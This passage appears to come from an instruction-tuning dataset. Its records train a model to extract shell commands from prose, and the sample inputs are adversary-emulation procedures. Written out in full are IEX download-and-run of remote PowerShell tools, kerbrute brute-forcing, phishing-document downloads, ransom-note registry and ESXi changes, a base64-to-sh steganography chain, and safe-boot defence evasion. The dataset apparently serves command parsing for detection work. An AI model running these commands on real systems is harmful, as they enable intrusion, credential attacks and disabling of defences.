    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\n$macrocode = \\\"   Open `\\\"#{bat_path}`\\\" For Output As #1`n   Write #1, `\\\"calc.exe`\\\"`n   Close #1`n   a = Shell(`\\\"cmd.exe /c #{bat_path} `\\\", vbNormalFocus)`n\\\"\\nInvoke-MalDoc -macroCode $macrocode -officeProduct #{ms_product}\\n\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\nInvoke-Maldoc -macroFile \\\"PathToAtomicsFolder\\\\T1204.002\\\\src\\\\chromeexec-macrocode.txt\\\" -officeProduct \\\"Word\\\" -sub \\\"ExecChrome\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following sequence will read username and password combinations and launch a bruteforce attack via the command:\ncd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe bruteforce --dc #{domaincontroller} -d #{domain} \"PathToAtomicsFolder\\..\\ExternalPayloads\\bruteforce.txt\"; Downloading a macro-enabled document to the %temp% directory, simulating a phishing attack, is achieved via this command: $url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm'\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest -Uri $url -OutFile $env:TEMP\\PhishingAttachment.xlsm\n",
    "output": "{\"command_list\": [\"cd \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\n.\\\\kerbrute.exe bruteforce --dc #{domaincontroller} -d #{domain} \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\bruteforce.txt\\\"      \\n\", \"$url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm'\\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nInvoke-WebRequest -Uri $url -OutFile $env:TEMP\\\\PhishingAttachment.xlsm\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute an HTA Application with the JScript script engine while simulating a double click, use the following command: Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -SimulateUserDoubleClick; The following PowerShell command downloads and executes an HTA application from a specified URI: Invoke-ATHHTMLApplication -HTAUri #{hta_uri} -MSHTAFilePath #{mshta_file_path}",
    "output": "{\"command_list\": [\"Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -SimulateUserDoubleClick\", \"Invoke-ATHHTMLApplication -HTAUri #{hta_uri} -MSHTAFilePath #{mshta_file_path}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Configure the system to show a ransom message at startup by executing this registry modification command: $orgLegalNoticeCaption = (Get-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeCaption).LegalNoticeCaption\n$orgLegalNoticeText = (Get-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeText).LegalNoticeText\n$newLegalNoticeCaption = \"#{legal_notice_caption}\"\n$newLegalNoticeText = \"#{legal_notice_text}\"\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeCaption -Value $newLegalNoticeCaption -Type String -Force\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeText -Value $newLegalNoticeText -Type String -Force; For changing the ESXi welcome message to potentially show ransom information, run the following: echo \"\" | \"#{plink_file}\" -batch \"#{vm_host}\" -ssh -l #{vm_user} -pw \"#{vm_pass}\" \"esxcli system welcomemsg set -m 'RANSOMWARE-NOTIFICATION'\"",
    "output": "{\"command_list\": [\"$orgLegalNoticeCaption = (Get-ItemProperty HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System -Name LegalNoticeCaption).LegalNoticeCaption\\n$orgLegalNoticeText = (Get-ItemProperty HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System -Name LegalNoticeText).LegalNoticeText\\n$newLegalNoticeCaption = \\\"#{legal_notice_caption}\\\"\\n$newLegalNoticeText = \\\"#{legal_notice_text}\\\"\\nSet-ItemProperty HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System -Name LegalNoticeCaption -Value $newLegalNoticeCaption -Type String -Force\\nSet-ItemProperty HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System -Name LegalNoticeText -Value $newLegalNoticeText -Type String -Force      \", \"echo \\\"\\\" | \\\"#{plink_file}\\\" -batch \\\"#{vm_host}\\\" -ssh -l #{vm_user} -pw \\\"#{vm_pass}\\\" \\\"esxcli system welcomemsg set -m 'RANSOMWARE-NOTIFICATION'\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To demonstrate steganography techniques, the script is encoded in base64 and embedded into an image, then extracted and executed with this command: cat \"#{script}\" | base64 | xxd -p | sed 's/../& /g' | xargs -n1 | xxd -r -p | cat \"#{image}\" - > \"#{evil_image}\"; strings \"#{evil_image}\" | tail -n 1 | base64 -d | sh.; To exploit safe mode and prevent certain endpoint defenses from starting, adversaries may use this command: bcdedit /set safeboot network",
    "output": "{\"command_list\": [\"cat \\\"#{script}\\\" | base64 | xxd -p | sed 's/../& /g' | xargs -n1 | xxd -r -p | cat \\\"#{image}\\\" - > \\\"#{evil_image}\\\"; strings \\\"#{evil_image}\\\" | tail -n 1 | base64 -d | sh\", \"bcdedit /set safeboot network\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following script executes a ping sweep across the 192.168.1.1/24 range, displaying active hosts via stdout: for ip in $(seq #{start_host} #{stop_host}); do ping -c 1 #{subnet}.$ip; [ $? -eq 0 ] && echo \"#{subnet}.$ip UP\" || : ; done; The script performs DNS lookups across the local subnet by first determining the IP range and then executing nslookup for each address, via the following PowerShell command:\n$localip = ((ipconfig | findstr [0-9]\\.\\\\.)[0]).Split()[-1]\n$pieces = $localip.split(\".\")\n$firstOctet = $pieces[0]\n$secondOctet = $pieces[1]\n$thirdOctet = $pieces[2]\nforeach ($ip in 1..255 | % { \"$firstOctet.$secondOctet.$thirdOctet.$_\" } ) {cmd.exe /c nslookup $ip}",
    "output": "{\"command_list\": [\"for ip in $(seq #{start_host} #{stop_host}); do ping -c 1 #{subnet}.$ip; [ $? -eq 0 ] && echo \\\"#{subnet}.$ip UP\\\" || : ; done\\n\", \"$localip = ((ipconfig | findstr [0-9].\\\\.)[0]).Split()[-1]\\n$pieces = $localip.split(\\\".\\\")\\n$firstOctet = $pieces[0]\\n$secondOctet = $pieces[1]\\n$thirdOctet = $pieces[2]\\nforeach ($ip in 1..255 | % { \\\"$firstOctet.$secondOctet.$thirdOctet.$_\\\" } ) {cmd.exe /c nslookup $ip}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The system language can be determined by examining the locale configuration file, which you can access with this command: [ -f /etc/locale.conf ] && cat /etc/locale.conf || cat /etc/default/locale; To identify the system language, you can check the environment variables by running the following commands: env | grep LANG\nprintenv LANG\nset | grep LANG\n. The 5-character locale result can then be used to determine the language and territory.",
    "output": "{\"command_list\": [\"[ -f /etc/locale.conf ] && cat /etc/locale.conf || cat /etc/default/locale\\n\", \"env | grep LANG\\nprintenv LANG\\nset | grep LANG\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax 